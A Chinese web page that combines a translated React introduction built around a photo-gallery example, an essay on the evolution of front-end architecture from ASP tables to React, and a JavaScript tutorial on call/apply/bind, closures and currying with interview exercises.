JSX 是一种创建 React 元素和 components 的技术。例如 <h1>Hello</h1> 是一个用 JSX 写的 React 元素。同样可以用纯 JavaScript 写成 React.DOM.h1(null, 'Hello');。JSX 读写起来更轻松，最终上线之前必须将 JSX 语句转为 JavaScript 语句。

虚拟DOM 是由 React 元素和 components 组成的 JavaScript 树形结构对象。React 将虚拟 DOM 渲染到浏览器中变成最终的用户界面。React 会观察虚拟 DOM 的变化，并自动将这些变化渲染到浏览器端。

理解了上面这些概念，我们可以开始使用 React 写一些例子了。下面会开发一系列功能，每一个例子都是在前一个例子的基础上进行改进。我们会编写一个类似 instagram 的照片流程序 - 没有比这更好的示例程序了。



渲染

第一步是渲染虚拟元素（React 元素或 component）。注意，虚拟元素只存在于内存中，必须显式地告诉 React 将它渲染到浏览器上。

React.render(<img src='http://tinyurl.com/lkevsb9' />, document.body)

查看 JSBin  

render 函数接收两个参数：虚拟元素和真实的浏览器 DOM 元素。React 将虚拟元素插入到指定的 DOM 元素中。上例中可以看到图片被渲染出来了。



组件(Components)

组件是 React 的精髓所在。它们是自定义的 React 元素，通常有一些功能和结构定义。

var Photo = React.createClass({

  render: function() {
    return <img src='http://tinyurl.com/lkevsb9' />
  }
});

React.render(<Photo />, document.body);

查看 JSBin  

createClass 函数接收一个对象，这个对象实现了 render 方法。  

这个Photo组件定义了 <Photo />元素，并且渲染到 document.body 里。  

这个组件跟之前的渲染图片没有太大区别，但是它为将来添加自定义功能奠定了基础。



属性(Props)

可以把属性看做组件的配置参数，看起来非常像 HTML 属性。

var Photo = React.createClass({

  render: function() {
    return (
      <div className='photo'>
        <img src={this.props.imageURL} />
        <span>{this.props.caption}</span>  
      </div>
    );  
  }
});

React.render(<Photo imageURL='http://tinyurl.com/lkevsb9' caption='Hong Kong!' />, document.body);

查看 JSBin  

imageURL 和 caption 两个属性被传递到 Photo 组件内的 render 函数里。  

imageURL 被用在 React 图片元素的 src 属性，caption 被用作 React span 元素内的文本。  

组件不会改变它的属性，他们是静止不变的。如果组件里包含动态数据，就要用到状态(State)对象。



状态(State)

状态对象用来记录随时可能变化的数据。

var Photo = React.createClass({
  toggleLiked: function() {
    this.setState({
      liked: !this.state.liked
    });
  },

  getInitialState: function() {
    return {
      liked: false
    };
  },

  render: function() {
    var buttonClass = this.state.liked ? 'active' : '';

    return (
      <div className='photo'>
        <img src={this.props.src} />

        <div className='bar'>
          <button onClick={this.toggoleLiked} className={buttonClass}>
            ♥
          </button>
          <span>{this.props.caption}</span>
        </div>
      </div>
    );
  }
});

React.render(<Photo src='http://tinyurl.com/lkevsb9' caption='Hong Kong!') />, document.body);

查看 JSBin  

组件的状态给组件引入了一些复杂性。  

这个组件有一个新的函数 getInitialState。 当组件初始化时 React 会去调用这个函数。根据它返回的对象来设置组件的初始状态（正如函数名所表达的那样）。  

这个组件还有另一个新函数 toggleLiked。它调用了 setState 来切换 liked 的值。  

在 render 函数里有个 buttonClass 的变量，根据 liked 状态被标记为 'active' 或 空值。  

buttonClass 被用作 React button 元素的类名。这个按钮还将 toggleLiked 函数绑定到 onClick 事件上。

看看在浏览器中渲染出来是什么效果：


	当组件里的按钮被点击时，触发 toggleLiked 函数


	liked 状态被改变


	React 重新渲染虚拟 DOM


	新老虚拟 DOM 进行对比


	React 识别出变化的部分并渲染到浏览器




上例演示了点击按钮来改变类名



组合组件(Composition)

将一些小的组件(components)链接起来形成一个大的组合组件。例如 Photo 组件可以用在 PhotoGallery 组件中，如下：

var Photo = React.createClass({
  
  toggleLiked: function() {
    this.setState({
      liked: !this.state.liked
    });
  },

  getInitialState: function() {
    return {
      liked: false
    };
  },

  render: function() {
    var buttonClass = this.state.liked ? 'active' : '';

    return (
      <div className='photo'>
        <img src={this.props.src} />
        
        <div className='bar'>
          <button onClick={this.toggleLiked} className={buttonClass}>
            ♥
          </button>
          <span>{this.props.caption}</span>
        </div>
      </div>
    );
  }
});

var PhotoGallery = React.createClass({
  
  render: function() {

    var photos = this.props.photos.map(function(photo) {
      return <Photo src={photo.url} caption={photo.caption} />
    });

    return (
      <div className='photo-gallery'>
        {photos}
      </div>
    );
  }
});

var data = [
  {
    url: 'http://tinyurl.com/lkevsb9',
    caption: 'Hong Kong!'
  },
  {
    url: 'http://tinyurl.com/mxkwh56',
    caption: 'Cows'
  },
  {
    url: 'http://tinyurl.com/nc7jv28',
    caption: 'Scooters'
  }
];

React.render(<PhotoGallery photos={data} />, document.body);

查看 JSBin  

Photo 组件跟之前的没什么两样。新组件 PhotoGallery 根据 3 条假数据生成了 3 个 Photo 组件。



结语

本文只是一篇 React 入门，我强烈推荐大家去读 React 官方文档，里面包含了所有你想要的细节。  

还有一些值得一看的视频资源。Pete Hunt 讲的 re-thinking web application architecture with React 和 Tom Occhino 讲的 React Native for building native mobile applications with React (WIP)。  

本文并没有介绍如何设置你的本地开发环境，官方文档有相关介绍，或者，你还可以看看我的解决方案 boilerplate。  

如果本文有什么错误之处，欢迎在 twitter 上联系我，或者给我提 pull request。尽情给我发邮件吧，我很乐意效劳。

P.S - 如果你准备开发一个更复杂的 React 应用，推荐 The Flux Quick Start Guide(译注：中文译文 《Flux 入门》)。


 程序员必知之前端演进史
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RePractise前端篇: 前端演进史

细细整理了过去接触过的那些前端技术，发现前端演进是段特别有意思的历史。人们总是在过去就做出未来需要的框架，而现在流行的是过去的过去发明过的。如，响应式设计不得不提到的一个缺点是：他只是将原本在模板层做的事，放到了样式（CSS）层来完成。

复杂度同力一样不会消失，也不会凭空产生，它总是从一个物体转移到另一个物体或一种形式转为另一种形式。

如果六、七年前的移动网络速度和今天一样快，那么直接上的技术就是响应式设计，APP、SPA就不会流行得这么快。尽管我们可以预见未来这些领域会变得更好，但是更需要的是改变现状。改变现状的同时也需要预见未来的需求。

什么是前端？

维基百科是这样说的：前端Front-end和后端back-end是描述进程开始和结束的通用词汇。前端作用于采集输入信息，后端进行处理。计算机程序的界面样式，视觉呈现属于前端。

这种说法给人一种很模糊的感觉，但是他说得又很对，它负责视觉展示。在MVC结构或者MVP中，负责视觉显示的部分只有View层，而今天大多数所谓的View层已经超越了View层。前端是一个很神奇的概念，但是而今的前端已经发生了很大的变化。

你引入了Backbone、Angluar，你的架构变成了MVP、MVVM。尽管发生了一些架构上的变化，但是项目的开发并没有因此而发生变化。这其中涉及到了一些职责的问题，如果某一个层级中有太多的职责，那么它是不是加重了一些人的负担？

前端演进史

过去一直想整理一篇文章来说说前端发展的历史，但是想着这些历史已经被人们所熟知。后来发现并非如此，大抵是幸存者偏见——关注到的都知道这些历史。

数据-模板-样式混合

在有限的前端经验里，我还是经历了那段用Table来作样式的年代。大学期间曾经有偿帮一些公司或者个人开发、维护一些CMS，而Table是当时帮某个网站更新样式接触到的——ASP.Net（maybe)。当时，我们启动这个CMS用的是一个名为aspweb.exe的程序。于是，在我的移动硬盘里找到了下面的代码。

<TABLE cellSpacing=0 cellPadding=0 width=910 align=center border=0>
  <TBODY>
  <TR>
    <TD vAlign=top width=188><TABLE cellSpacing=0 cellPadding=0 width=184 align=center border=0>
        <TBODY>
        <TR>
          <TD><IMG src="Images/xxx.gif" width=184></TD></TR>
        <TR>
          <TD>
            <TABLE cellSpacing=0 cellPadding=0 width=184 align=center 
            background=Images/xxx.gif border=0>

虽然，我也已经在HEAD里找到了现代的雏形——DIV + CSS，然而这仍然是一个Table的年代。

<LINK href="img/xxx.css" type=text/css rel=stylesheet>

人们一直在说前端很难，问题是你学过么？？？

人们一直在说前端很难，问题是你学过么？？？

人们一直在说前端很难，问题是你学过么？？？

也许，你也一直在说CSS不好写，但是CSS真的不好写么？人们总在说JS很难用，但是你学过么？只在需要的时候才去学，那肯定很难。你不曾花时间去学习一门语言，但是却能直接写出可以work的代码，说明他们容易上手。如果你看过一些有经验的Ruby、Scala、Emacs Lisp开发者写出来的代码，我想会得到相同的结论。有一些语言可以让写程序的人Happy，但是看的人可能就不Happy了。做事的方法不止一种，但是不是所有的人都要用那种方法去做。

过去的那些程序员都是真正的全栈程序员，这些程序员不仅仅做了前端的活，还做了数据库的工作。

Set rs = Server.CreateObject("ADODB.Recordset")
sql = "select id,title,username,email,qq,adddate,content,Re_content,home,face,sex from Fl_Book where ispassed=1 order by id desc"
rs.open sql, Conn, 1, 1
fl.SqlQueryNum = fl.SqlQueryNum + 1

在这个ASP文件里，它从数据库里查找出了数据，然后Render出HTML。如果可以看到历史版本，那么我想我会看到有一个作者将style=""的代码一个个放到css文件中。

在这里的代码里也免不了有动态生成JavaScript代码的方法：

show_other = "<SCRIPT language=javascript>"
show_other = show_other & "function checkform()"
show_other = show_other & "{"
show_other = show_other & "if (document.add.title.value=='')"
show_other = show_other & "{"

请尽情嘲笑，然后再看一段代码：

import React from "react";
import { getData } from "../../common/request";
import styles from "./style.css";


export default class HomePage extends React.Component {
  componentWillMount() {
    console.log("[HomePage] will mount with server response: ", this.props.data.home);
  }

  render() {
    let { title } = this.props.data.home;

    return (
      <div className={styles.content}>
        <h1>{title}</h1>
        <p className={styles.welcomeText}>Thanks for joining!</p>
      </div>
    );
  }

  static fetchData = function(params) {
    return getData("/home");
  }
}

10年前和10年后的代码，似乎没有太多的变化。有所不同的是数据层已经被独立出去了，如果你的component也混合了数据层，即直接查询数据库而不是调用数据层接口，那么你就需要好好思考下这个问题。你只是在追随潮流，还是在改变。用一个View层更换一个View层，用一个Router换一个Router的意义在哪？

Model-View-Controller

人们在不断地反思这其中复杂的过程，整理了一些好的架构模式，其中不得不提到的是我司Martin Folwer的《企业应用架构模式》。该书中文译版出版的时候是2004年，那时对于系统的分层是



	层次
	职责





	表现层
	提供服务、显示信息、用户请求、HTTP请求和命令行调用。



	领域层
	逻辑处理，系统中真正的核心。



	数据层
	与数据库、消息系统、事物管理器和其他软件包通讯。





化身于当时最流行的Spring，就是MVC。人们有了iBatis这样的数据持久层框架，即ORM，对象关系映射。于是，你的package就会有这样的几个文件夹：

|____mappers
|____model
|____service
|____utils
|____controller

在mappers这一层，我们所做的莫过于如下所示的数据库相关查询：

@Insert(
        "INSERT INTO users(username, password, enabled) " +
                "VALUES (#{userName}, #{passwordHash}, #{enabled})"
)
@Options(keyProperty = "id", keyColumn = "id", useGeneratedKeys = true)
void insert(User user);

model文件夹和mappers文件夹都是数据层的一部分，只是两者间的职责不同，如：

public String getUserName() {
    return userName;
}

public void setUserName(String userName) {
    this.userName = userName;
}

而他们最后都需要在Controller，又或者称为ModelAndView中处理：

@RequestMapping(value = {"/disableUser"}, method = RequestMethod.POST)
public ModelAndView processUserDisable(HttpServletRequest request, ModelMap model) {
    String userName = request.getParameter("userName");
    User user = userService.getByUsername(userName);
    userService.disable(user);
    Map<String,User> map = new HashMap<String,User>();
    Map <User,String> usersWithRoles= userService.getAllUsersWithRole();
    model.put("usersWithRoles",usersWithRoles);
    return new ModelAndView("redirect:users",map);
}

在多数时候，Controller不应该直接与数据层的一部分，而将业务逻辑放在Controller层又是一种错误，这时就有了Service层，如下图：



然而对于Domain相关的Service应该放在哪一层，总会有不同的意见：





Domain（业务）是一个相当复杂的层级，这里是业务的核心。一个合理的Controller只应该做自己应该做的事，它不应该处理业务相关的代码：

if (isNewnameEmpty == false && newuser == null){
    user.setUserName(newUsername);
    List<Post> myPosts = postService.findMainPostByAuthorNameSortedByCreateTime(principal.getName());

    for (int k = 0;k < myPosts.size();k++){
        Post post = myPosts.get(k);
        post.setAuthorName(newUsername);
        postService.save(post);
    }
    userService.update(user);
    Authentication oldAuthentication = SecurityContextHolder.getContext().getAuthentication();
    Authentication authentication = null;
    if(oldAuthentication == null){
        authentication = new UsernamePasswordAuthenticationToken(newUsername,user.getPasswordHash());
    }else{
        authentication = new UsernamePasswordAuthenticationToken(newUsername,user.getPasswordHash(),oldAuthentication.getAuthorities());
    }
    SecurityContextHolder.getContext().setAuthentication(authentication);
    map.clear();
    map.put("user",user);
    model.addAttribute("myPosts", myPosts);
    model.addAttribute("namesuccess", "User Profile updated successfully");
    return new ModelAndView("user/profile", map);
}

我们在Controller层应该做的事是：


	处理请求的参数


	渲染和重定向


	选择Model和Service


	处理Session和Cookies




业务是善变的，昨天我们可能还在和对手竞争谁先推出新功能，但是今天可能已经合并了。我们很难预见业务变化，但是我们应该能预见Controller是不容易变化的。在一些设计里面，这种模式就是Command模式。

View层是一直在变化的层级，人们的品味一直在更新，有时甚至可能因为竞争对手而产生变化。在已经取得一定市场的情况下，Model-Service-Controller通常都不太会变动，甚至不敢变动。企业意识到创新的两面性，要么带来死亡，要么占领更大的市场。但是对手通常都比你想象中的更聪明一些，所以这时开创新的业务是一个更好的选择。

高速发展期的企业和发展初期的企业相比，更需要前端开发人员。在用户基数不够、业务待定的情形中，View只要可用并美观就行了，这时可能就会有大量的业务代码放在View层：

<c:choose>
    <c:when test="${ hasError }">
    <p class="prompt-error">
        ${errors.username} ${errors.password}
    </p>
    </c:when>
    <c:otherwise>
    <p class="prompt">
        Woohoo, User <span class="username">${user.userName}</span> has been created successfully!
    </p>
    </c:otherwise>
</c:choose>    

不同的情形下，人们都会对此有所争议，但只要符合当前的业务便是最好的选择。作为一个前端开发人员，在过去我需要修改JSP、PHP文件，这期间我需要去了解这些Template：

{foreach $lists as $v}
<li itemprop="breadcrumb"><span{if(newest($v['addtime'],24))} style="color:red"{/if}>[{fun date('Y-m-d',$v['addtime'])}]</span><a href="{$v['url']}" style="{$v['style']}" target="_blank">{$v['title']}</a></li>
{/foreach}

有时像Django这一类，自称为Model-Template-View的框架，更容易让人理解其意图：

{% for blog_post in blog_posts.object_list %}
{% block blog_post_list_post_title %}
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp mdl-cell--11-col blog-list">
{% editable blog_post.title %}
<div class="mdl-card__title mdl-card--border mdl-card--expand">
    <h2 class="mdl-card__title-text">
        <a href="{{ blog_post.get_absolute_url }}"  itemprop="headline">{{ blog_post.title }} › </a>
    </h2>
</div>
{% endeditable %}
{% endblock %}

作为一个前端人员，我们真正在接触的是View层和Template层，但是MVC并没有说明这些。

从桌面版到移动版

Wap出现了，并带来了更多的挑战。随后，分辨率从1024x768变成了176×208，开发人员不得不面临这些挑战。当时所需要做的仅仅是修改View层，而View层随着iPhone的出现又发生了变化。



这是一个短暂的历史，PO还需要为手机用户制作一个怎样的网站？于是他们把桌面版的网站搬了过去变成了移动版。由于网络的原因，每次都需要重新加载页面，这带来了不佳的用户体验。

幸运的是，人们很快意识到了这个问题，于是就有了SPA。如果当时的移动网络速度可以更快的话，我想很多SPA框架就不存在了。

先说说jQuery Mobile，在那之前，先让我们来看看两个不同版本的代码，下面是一个手机版本的blog详情页：

<ul data-role="listview" data-inset="true" data-splittheme="a">
    {% for blog_post in blog_posts.object_list %}
        <li>
        {% editable blog_post.title blog_post.publish_date %}
        <h2 class="blog-post-title"><a href="{% url "blog_post_detail" blog_post.slug %}">{{ blog_post.title }}</a></h2>
        <em class="since">{% blocktrans with sometime=blog_post.publish_date|timesince %}{{ sometime }} ago{% endblocktrans %}</em>
        {% endeditable %}
        </li>
    {% endfor %}
</ul>

而下面是桌面版本的片段：

{% for blog_post in blog_posts.object_list %}
{% block blog_post_list_post_title %}
{% editable blog_post.title %}
<h2>
    <a href="{{ blog_post.get_absolute_url }}">{{ blog_post.title }}</a>
</h2>
{% endeditable %}
{% endblock %}
{% block blog_post_list_post_metainfo %}
{% editable blog_post.publish_date %}
<h6 class="post-meta">
    {% trans "Posted by" %}:
    {% with blog_post.user as author %}
    <a href="{% url "blog_post_list_author" author %}">{{ author.get_full_name|default:author.username }}</a>
    {% endwith %}
    {% with blog_post.categories.all as categories %}
    {% if categories %}
    {% trans "in" %}
    {% for category in categories %}
    <a href="{% url "blog_post_list_category" category.slug %}">{{ category }}</a>{% if not forloop.last %}, {% endif %}
    {% endfor %}
    {% endif %}
    {% endwith %}
    {% blocktrans with sometime=blog_post.publish_date|timesince %}{{ sometime }} ago{% endblocktrans %}
</h6>
{% endeditable %}
{% endblock %}

人们所做的只是重载View层。这也是一个有效的SEO策略，上面这些代码是我博客过去的代码。对于桌面版和移动版都是不同的模板和不同的JS、CSS。



在这一时期，桌面版和移动版的代码可能在同一个代码库中。他们使用相同的代码，调用相同的逻辑，只是View层不同了。但是，每次改动我们都要维护两份代码。

随后，人们发现了一种更友好的移动版应用——APP。

APP与过渡期API

这是一个艰难的时刻，过去我们的很多API都是在原来的代码库中构建的，即桌面版和移动版一起。我们已经在这个代码库中开发了越来越多的功能，系统开发变得臃肿。如《Linux/Unix设计思想》中所说，这是一个伟大的系统，但是它臃肿而又缓慢。

我们是选择重新开发一个结合第一和第二系统的最佳特性的第三个系统，还是继续臃肿下去。我想你已经有答案了。随后我们就有了APP API，构建出了博客的APP。



最开始，人们越来越喜欢用APP，因为与移动版网页相比，其响应速度更快，而且更流畅。对于服务器来说，也是一件好事，因为请求变少了。

但是并非所有的人都会下载APP——有时只想看看上面有没有需要的东西。对于刚需不强的应用，人们并不会下载，只会访问网站。

有了APP API之后，我们可以向网页提供API，我们就开始设想要有一个好好的移动版。

过渡期SPA

Backbone诞生于2010年，和响应式设计出现在同一个年代里，但他们似乎在同一个时代里火了起来。如果CSS3早点流行开来，似乎就没有Backbone啥事了。不过移动网络还是限制了响应式的流行，只是在今天这些都有所变化。

我们用Ajax向后台请求API，然后Mustache Render出来。因为JavaScript在模块化上的缺陷，所以我们就用Require.JS来进行模块化。

下面的代码就是我在尝试对我的博客进行SPA设计时的代码：

define([
    'zepto',
    'underscore',
    'mustache',
    'js/ProductsView',
    'json!/configure.json',
    'text!/templates/blog_details.html',
    'js/renderBlog'
],function($, _, Mustache, ProductsView, configure, blogDetailsTemplate, GetBlog){

    var BlogDetailsView = Backbone.View.extend ({
        el: $("#content"),

        initialize: function () {
            this.params = '#content';
        },

        getBlog: function(slug) {
            var getblog = new GetBlog(this.params, configure['blogPostUrl'] + slug, blogDetailsTemplate);
            getblog.renderBlog();
        }
    });

    return BlogDetailsView;
});

从API获取数据，结合Template来Render出Page。但是这无法改变我们需要Client Side Render和Server Side Render的两种Render方式，除非我们可以像淘宝一样不需要考虑SEO——因为它不那么依靠搜索引擎带来流量。

这时，我们还是基于类MVC模式。只是数据的获取方式变成了Ajax，我们就犯了一个错误——将大量的业务逻辑放在前端。这时候我们已经不能再从View层直接访问Model层，从安全的角度来说有点危险。

如果你的View层还可以直接访问Model层，那么说明你的架构还是MVC模式。之前我在Github上构建一个Side Project的时候直接用View层访问了Model层，由于Model层是一个ElasticSearch的搜索引擎，它提供了JSON API，这使得我要在View层处理数据——即业务逻辑。将上述的JSON API放入Controller，尽管会加重这一层的复杂度，但是业务逻辑就不再放置于View层。

如果你在你的View层和Model层总有一层接口，那么你采用的就是MVP模式——MVC模式的衍生（PS：为了区别别的事情，总会有人取个表意的名称）。

一夜之前，我们又回到了过去。我们离开了JSP，将View层变成了Template与Controller。而原有的Services层并不是只承担其原来的责任，这些Services开始向ViewModel改变。

一些团队便将Services抽成多个Services，美其名为微服务。传统架构下的API从下图



变成了直接调用的微服务：



对于后台开发者来说，这是一件大快人心的大好事，但是对于应用端/前端来说并非如此。调用的服务变多了，在应用程序端进行功能测试变得更复杂，需要Mock的API变多了。

Hybird与ViewModel

这时候遇到问题的不仅仅只在前端，而在App端，小的团队已经无法承受开发成本。人们更多的注意力放到了Hybird应用上。Hybird应用解决了一些小团队在开发初期遇到的问题，这部分应用便交给了前端开发者。

前端开发人员先熟悉了单纯的JS + CSS + HTML，又熟悉了Router + PageView + API的结构，现在他们又需要做手机APP。这时候只好用熟悉的jQuer Mobile + Cordova。

随后，人们先从Cordova + jQuery Mobile，变成了Cordova + Angular的 Ionic。在那之前，一些团队可能已经用Angular代换了Backbone。他们需要更好的交互，需要data binding。

接着，我们可以直接将我们的Angular代码从前端移到APP，比如下面这种博客APP的代码：

  .controller('BlogCtrl', function ($scope, Blog) {
    $scope.blogs = null;
    $scope.blogOffset = 0;
    //
    $scope.doRefresh = function () {
      Blog.async('https://www.phodal.com/api/v1/app/?format=json').then(function (results) {
        $scope.blogs = results.objects;
      });
      $scope.$broadcast('scroll.refreshComplete');
      $scope.$apply()
    };

    Blog.async('https://www.phodal.com/api/v1/app/?format=json').then(function (results) {
      $scope.blogs = results.objects;
    });

    $scope.loadMore = function() {
      $scope.blogOffset = $scope.blogOffset + 1;
      Blog.async('https://www.phodal.com/api/v1/app/?limit=10&offset='+ $scope.blogOffset * 20 +  '&format=json').then(function (results) {
        Array.prototype.push.apply($scope.blogs, results.objects);
        $scope.$broadcast('scroll.infiniteScrollComplete');
      })
    };
  })

结果时间轴又错了，人们总是超前一个时期做错了一个在未来是正确的决定。人们遇到了网页版的用户授权问题，于是发明了JWT——Json Web Token。

然而，由于WebView在一些早期的Android手机上出现了性能问题，人们开始考虑替换方案。接着出现了两个不同的解决方案：


	React Native


	新的WebView——Crosswalk




开发人员开始欢呼React Native这样的框架。但是，他们并没有预见到人们正在厌恶APP，APP在我们的迭代里更新着，可能是一星期，可能是两星期，又或者是一个月。谁说APP内自更新不是一件坏事，但是APP的提醒无时无刻不在干扰着人们的生活，噪声越来越多。不要和用户争夺他们手机的使用权

一次构建，跨平台运行

在我们需要学习C语言的时候，GCC就有了这样的跨平台编译。

在我们开发桌面应用的时候，QT有就这样的跨平台能力。

在我们构建Web应用的时候，Java有这样的跨平台能力。

在我们需要开发跨平台应用的时候，Cordova有这样的跨平台能力。

现在，React这样的跨平台框架又出现了，而响应式设计也是跨平台式的设计。

响应式设计不得不提到的一个缺点是：他只是将原本在模板层做的事，放到了样式（CSS）层。你还是在针对着不同的设备进行设计，两种没有什么多大的不同。复杂度不会消失，也不会凭空产生，它只会从一个物体转移到另一个物体或一种形式转为另一种形式。

React，将一小部分复杂度交由人来消化，将另外一部分交给了React自己来消化。在用Spring MVC之前，也许我们还在用CGI编程，而Spring降低了这部分复杂度，但是这和React一样降低的只是新手的复杂度。在我们不能以某种语言的方式写某相关的代码时，这会带来诸多麻烦。

RePractise

如果你是一只辛勤的蜜蜂，那么我想你应该都玩过上面那些技术。你是在练习前端的技术，还是在RePractise？如果你不花点时间整理一下过去，顺便预测一下未来，那么你就是在白搭。

前端的演进在这一年特别快，Ruby On Rails也在一个合适的年代里出现，在那个年代里也流行得特别快。RoR开发效率高的优势已然不再突显，语法灵活性的副作用就是运行效率降低，同时后期维护难——每个人元编程了自己。

如果不能把Controller、Model Mapper变成ViewModel，又或者是Micro Services来解耦，那么ES6 + React只是在现在带来更高的开发效率。而所谓的高效率，只是相比较而意淫出来的，因为他只是一层View层。将Model和Controller再加回View层，以后再拆分出来？

现有的结构只是将View层做了View层应该做的事。

首先，你应该考虑的是一种可以让View层解耦于Domain或者Service层。今天，桌面、平板、手机并不是唯一用户设备，虽然你可能在明年统一了这三个平台，现在新的设备的出现又将设备分成两种类型——桌面版和手机版。一开始桌面版和手机版是不同的版本，后来你又需要合并这两个设备。

其次，你可以考虑用混合Micro Services优势的Monolithic Service来分解业务。如果可以举一个成功的例子，那么就是Linux，一个混合内核的“Service”。

最后，Keep Learning。我们总需要在适当的时候做出改变，尽管我们觉得一个Web应用代码库中含桌面版和移动版代码会很不错，但是在那个时候需要做出改变。

对于复杂的应用来说，其架构肯定不是只有纯MVP或者纯MVVM这么简单的。如果一个应用混合了MVVM、MVP和MVC，那么他也变成了MVC——因为他直接访问了Model层。但是如果细分来看，只有访问了Model层的那一部分才是MVC模式。

模式，是人们对于某个解决方案的描述。在一段代码中可能有各种各样的设计模式，更何况是架构。

原文: https://github.com/phodal/repractise/blob/gh-pages/chapters/frontend.md
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本回内容介绍

上一回聊到JS的Object类型，简单模拟了一下Java的Map，介一讲，偶们来聊一下函数好唔好，介可系JS世界的一等公民哟。从函数开始，我们就将逐步过渡到设计模式，来吧，帅狐带你装逼带你飞：

1. 函数的定义方式有三种

(1) 函数声明：

function o(a,b){
    return a+b;
}

(2) 函数表达式：

var o = function(a,b){
    return a+b;
};

(3) 构造函数式：

var o = new Function("a","b","return a+b");

这里简单的过一下函数定义，其他函数相关的基础知识还是那句：请参阅书籍或其他资料。

2. call, apply, bind

这仨都可以改变函数内部作用域的指向，bind()是ES5的新玩意儿，IE9以下不支持。call()和apply()一块儿说，这俩基友仅仅是传参不一样而已，apply传递的是数组：

function add(arg1,arg2) {
    return arg1+arg2;
};

function subtraction(arg1,arg2) {
    return arg1-arg2;
};
    
function optCall(arg1,arg2){
    return add.call(this,arg1,arg2);
};
    
function optApply(arg1,arg2){
    return subtraction.apply(this,[arg1,arg2]);
};
    
alert(optCall(1,2));    // 3
alert(optApply(2,1)); // 1

再来说说bind()，在高程3(JavaScript高级程序设计第三版)书上的说法是：bind()常常和回调函数与事件处理程序一起使用以便在将函数作为变量传递的同时保留代码执行环境。后面的设计模式讲解中我们会有事件的讲解，这里我们用书上的例子来模拟bind()的实现：

function bind(fn,context){
    // 这里是一个闭包
    return function(){
        // 这里调用传递的函数，并将参数传入
        return fn.apply(context,arguments);
    };
} 

这里光看例子可能有点抽象，没关系，后面讲设计模式，聊到观察者模式的时候还会聊到事件。

3. 闭包与柯里化

闭包：有权访问另一个函数作用域中变量的函数。这是书上的解释，有点懵吧，说白了，就是方法里面的方法就叫闭包。
柯里化：把接受多个参数的函数变换成接受一个单一参数（最初函数的第一个参数）的函数，并且返回接受余下的参数而且返回结果的新函数的技术。

之所以把这俩放在一起来聊，是因为这俩都不好理解，有点绕，而且柯里化依赖于闭包来实现，来吧，直接看书上的例子：

var c = console;
function curry(fn){
    // 这个地方是获取Array原型的slice方法，之所以这么用，是因为数组未被实例化之前，无法获得原型上的方法，可能有点绕，先不管原型后面会讲
    var _slice = Array.prototype.slice;        
    // 这里获取的是传入的第二个参数，也就是5
    var args = _slice.call(arguments,1);    
    c.log(args);    // [5]
    // 这里是一个闭包，这个函数的作用是组合外部传参和内部传参                        
    return function(){
        // 在这里传入的arguments是[15,10]
        var innerArgs = _slice.call(arguments);
        c.log(innerArgs);    // [15,10]    
        var finalArgs = args.concat(innerArgs);    // 内外部数组合并
        c.log(finalArgs);    // [5,15,10]
        // 这里写null或是其他都可以，因为这里只是执行传入的方法，也就add()方法
        return fn.apply(null,finalArgs);
    };
}

function add(a,b,c){
    return a+b+c;
}
alert(curry(add,5)(15,10));

很多盆友说这个例子木有看懂，现在配上了注释，赶脚有木有好点。这里没有单独聊闭包，因为网上关于闭包的资料已经很多了。

顺便在啰嗦一句，有哥们儿面试问到了，fn.apply(null,finalArgs)这里如果是null的话，指向的是什么？答案是Global，而在浏览器环境下，Global就是window。



又是装逼时刻了，好咯，开始敲代码了：

这一回讲的内容比较绕脑袋，其实所有的函数都是Function类型的实例。一时理解不了也没关系，先囫囵吞枣，后面的内容还会涉及，下面还是进入做题环节：



某客面试题，正好复习函数柯里化

据说这家公司笔试题有四道题，这里先聊两道题，另外了道题后面会聊到...

1.题目：five(one(one())) 返回 511

function one(){
    var tags = typeof arguments[0];    // 获取传入的第一个参数类型
    var arg = "";
    switch(tags){
        // 判断如果是undefined，说明是最里层的函数
        case 'undefined':
            arg = 1+"";
            break;
        // 判断如果是string，说明已经执行过最里层函数了，也就是说，已经跑过case为'undefined'的情况了
        case 'string':
            arg = 1+arguments[0];
            break;
    };
    return arg;
};
function five(){
    return 5+arguments[0];
};
alert(five(one(one())));
alert(five(one(one(one(one(one(one()))))))); 

这个例子并非柯里化的函数，因为每一次one()的返回都是一个字符串，但是对比函数柯里化，使函数柯里化的概念更直观了。

我们把这个five()改改，让他变为柯里化，让帅狐show给你看：

function five(){
    var args = arguments[0];
    // 这里就是一个闭包的体现，然后自执行，返回的依然是字符串
    return (function(){
        return 5+args;
    })();
}; 

怎么样，帅吧！好吧，如果不帅，继续下一题，走你：

2. 题目：数组去重、并按倒数第二个字母排序

function unique(arr) {
    // res是结果数组，o是一个对象，上一回已经讲过了，对象的key是不可重复的
    var res = [], o = {};
    // 遍历传入的数组
    for (var i=0; arr[i]!=null; i++) {
        // 这里把数组的值作为对象的key进行判断，如果不存在则放入
        if (!o[arr[i]]) {
            // 这步是取过滤后的每一项放入结果数组
            res.push(arr[i]);
            // 这步把传入值作为对象key，并且赋值
            o[arr[i]] = true;
        }
    }
    return res;    // 返回结果数组，
}
    
alert(unique(["帅狐","帅狐",9,4,9,4,"帅","帅"]));    // 帅狐,9,4,帅 

这样就完成了数组去重，下一步，按照倒数第二个字母排序：

var arr =['javaScript','java','mongo','mysql', 'css','html','nodejs','php'];
    
function compare(pre,cur){
    var p = pre.charAt(pre.length-2);    // 取倒数第二个字母
    var c = cur.charAt(cur.length-2);
    if(p < c){ 
        return -1; 
    }else if(p > c){ 
        return 1; 
    }else{ 
        return 0; 
    }
}
    
alert(arr.sort(compare));
// 返回["mongo", "php", "nodejs", "html", "javaScript", "mysql", "css", "java"]

之所以单独写第二步，因为sort()排序是按照字符编码的顺序进行排序，在传入数值的时候是有陷阱的，不会对数值大小进行排序，看例子：

var arr =[1,10,2,99,3,200];
    
function sortNum(a,b){
    return a - b
}
    
alert(arr.sort());    // 返回[1, 10, 2, 200, 3, 99]
alert(arr.sort(sortNum));    // 返回[1, 2, 3, 10, 99, 200] 

这一回，主要过了一下Function类型，聊了一些函数的技巧，做了两道题，难度适中。
下一回，咱主要聊一聊，类的模拟，原型，继承，包括浅聊一下工厂模式，继续装逼继续飞。
话说最近港囧和夏洛特烦恼惹火了很多老歌，对于喜欢听老歌的我真的是大爱吖，dilililidilililidada...dilililidilililidada...



注：此系飞狐原创，转载请注明出处
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前言

最近项目开发任务告一段落，刚好有时间整理这大半年的一些成果。使用html5时间还不久，对js的认识还不够深入。没办法，以前一直搞java，对js的一些语言特性和概念一时还转换不过来。

